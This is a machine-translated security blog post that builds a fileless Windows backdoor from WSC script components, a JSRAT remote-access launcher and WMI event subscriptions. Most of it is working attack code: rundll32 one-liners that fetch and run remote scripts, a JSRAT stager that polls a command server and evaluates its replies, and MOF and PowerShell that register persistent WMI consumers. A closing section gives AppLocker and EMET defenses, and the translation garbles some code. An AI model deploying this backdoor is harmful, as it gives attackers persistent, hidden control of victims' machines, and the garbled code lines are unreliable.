Merit student · 2016/05/06 14:16

0 x00 preface

Recently, I studied LCX’s material “Using WSC to make an ASP Backdoor”. After learning some features of WSC files, I had an interesting idea:

How powerful would it be if combined with JSRAT and WMI Backdoor?

Related information:

Using WSC to make an ASP backdoor :huaidan.org/archives/25… The WMI Backdoor: drops.wooyun.org/tips/8260 “JavaScript Backdoor: drops.wooyun.org/tips/11764

0x01 WSC

WSC, which stands for Windows Script, can be used to develop COM components that can be called by other languages

For more information: www.xav.com/perl/Window…

1. Simple examples

A simple WSC script is as follows, saved as test.wsc:

#! xml <? The XML version = "1.0"? > <package> <component id="testWSC"> <public> <method name="Sum"> <PARAMETER name="X"/> <PARAMETER name="Y"/> </method> </public> <script language="JScript"> <! [CDATA[ function Sum(X, Y) { var result = X + Y; return result; } ]]> </script> </component> </package>Copy the code

The Sum function in the script can be called with the following js code:

#! javascript var ref = GetObject("script:C:\\testwsc\\test.wsc"); Var x = ref. Sum (4, 6); WScript.Echo(x);Copy the code

As shown in figure

Note: WSC file name extensions can be arbitrary

2. Start the calculator locally

This is very familiar to the SCT file, so we can change it to start a calculator

WSC files are as follows:

#! xml <? The XML version = "1.0"? > <package> <component id="testCalc"> <script language="JScript"> <! [CDATA[ var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> </script> </component> </package>Copy the code

The corresponding JS file can be simplified as:

#! javascript GetObject("script:C:\\testwsc\\test.wsc");Copy the code

After execution, see the following figure:

3. Start the calculator remotely

What if YOU put WSC files on the server? — Of course it works.

The address is as follows: raw.githubusercontent.com/3gstudent/J…

Change the js file to:

#! javascript GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")Copy the code

Execute as shown in figure:

0x02 JSRAT

What if you use a method that executes JS in rundll32?

1, calc

CMD to execute:

#! shell rundll32.exe javascript:"\.. \mshtml,RunHTMLApplication "; document.write(); GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")Copy the code

As shown in figure

2, jsrat

What if the contents of the files on the server were replaced with the jSRAT startup code? The code is as follows:

#! xml <? The XML version = "1.0"? > <package> <component id="testCalc"> <script language="JScript"> <! [CDATA[ rat="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write(); H = new % 20 activexobject (\ ". WinHttp WinHttpRequest. 5.1 \ "); w = new % 20 activexobject (\ "WScript. Shell \"); try{v=w.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet%20Settings\\\\ProxyServer\"); = q = v. plit (\ "\") [1]. The split (\ "and \") [0]; h.S etProxy (2, q);} the catch (e) {} h.O pen (\ "GET \", \ "http://127.0.0.1/connect\", false); try{h.Send();B=h.ResponseText;eval(B); }catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}";  new ActiveXObject("WScript.Shell").Run(rat,0,true); ]]> </script> </component> </package>Copy the code

As the difference between demo, uploaded to another file testJSRAT: raw.githubusercontent.com/3gstudent/J…

CMD to execute:

#! shell rundll32.exe javascript:"\.. \mshtml,RunHTMLApplication "; document.write(); GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/testJSRAT")Copy the code

After execution, the shell bounces back to JSRAT

3, analysis,

This approach has the following advantages: a. Once again simplifies the JSRAT startup code by simply executing GetObject() b. Since WSC files are executed remotely, payload can change at any time, and the code can be updated at any time

0x03 WMI Backdoor

WMI allows not only program execution, but also script execution. The method of program execution is described previously and skipped here. The method of script execution is described below

The WMI supports VBS and JS scripts. This section describes how to start the JS script

1, the mof

Note that the escape character “with \” means the following:

pragma namespace("\\\\.\\root\\subscription")    

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP1";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 1";
    QueryLanguage = "WQL";
};    

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consP1";
    ScriptingEngine = "JScript";
    ScriptText = "GetObject(\"script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test\")";
};    

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};
Copy the code

Demonstrate a

2, powershell

Note that the escape character “uses “” to indicate the following:

#! powershell $filterName = 'filtP1' $consumerName = 'consP1' $Command ="GetObject(""script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test"")" $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName; EventNameSpace="root\cimv2"; QueryLanguage="WQL"; Query=$Query} -ErrorAction Stop $WMIEventConsumer = Set-WmiInstance -Class ActiveScriptEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName; ScriptingEngine='JScript'; ScriptText=$Command} Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter; Consumer=$WMIEventConsumer}Copy the code

Demonstrate a

3, test

#! powershell Get-WMIObject -Namespace root\Subscription -Class __EventFilter Get-WMIObject -Namespace root\Subscription -Class __EventConsumer Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBindingCopy the code

4,

#! powershell Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='filtP1'" | Remove-WmiObject -Verbose Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='consP1'" | Remove-WmiObject -Verbose Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%BotFilter82%'" | Remove-WmiObject -VerboseCopy the code

5, analysis,

A. Execute the JS script on the remote server every minute after registration. B. Have the system permission. C. Do not write files e. Do not write registry f. Start automatically

0 x04 defense

1. The first line of defense

Ensure that the system is not invaded. The premise of embedding this backdoor method is to be able to execute the code on the system, so it is recommended to patch, install anti-virus software, and firewall frequently

2, the second line of defense

Establish a whitelist mechanism. Start Windows AppLocker to restrict the running of programs and scripts that are not in the whitelist

The third line of defense

Use EMET (Enhanced Disaster Reduction Experience Tool). Configuration rules to intercept and record the use of regsVR32 and RUNdll32 reference link: github.com/iadgov/Secu…

Configure EMET to intercept regsVR32.

1. Download and install EMET 5.5

www.microsoft.com/en-us/downl…

2. Configure the EMET group policy template

(a) in %ProgramFiles%\EMET 5.5\Deployment\Group Policy Files or %ProgramFiles(x86)%\EMET 5.5\Deployment\Group Policy Files\ (64-bit system) find: emet.admx emet.adml

As shown in figure

Copy emet.admx to %SystemRoot% PolicyDefinitions\

Copy emet.adml to %SystemRoot% PolicyDefinitions en-us\

3. Configure EMET rules

(a) Enter gpedit. MSC to enter the group policy. In The Chinese system, run computer Configuration – Management Template -Windows Component -EMET

The English system is Computer Policy > Administrative Templates > Windows Components > EMET

(b) Double-click Application Configuration and select Enable Click Display

As shown in figure

Exe value: +ASR ASr_modules :scrobj.dll; scrrun.dll

As shown in figure

(d) Update the group policy template

Enter CMD for management rights:

#! shell gpupdate /forceCopy the code

As shown in figure

(e) test

The scrobj.dll call from regsVR32 is intercepted

0 x05 summary

In this paper, WSC, JSRAT and WMI Backdoor are combined to achieve a nearly “perfect” Backdoor at the script level.

Of course, the purpose of this article is to help people prepare as much as possible before the technology is abused.

WSC, JSRAT and WMI Backdoor

0 x00 preface

0x01 WSC

1. Simple examples

2. Start the calculator locally

3. Start the calculator remotely

0x02 JSRAT

1, calc

2, jsrat

3, analysis,

0x03 WMI Backdoor

1, the mof

2, powershell

3, test

4,

5, analysis,

0 x04 defense

1. The first line of defense

2, the second line of defense

The third line of defense

Configure EMET to intercept regsVR32.

0 x05 summary

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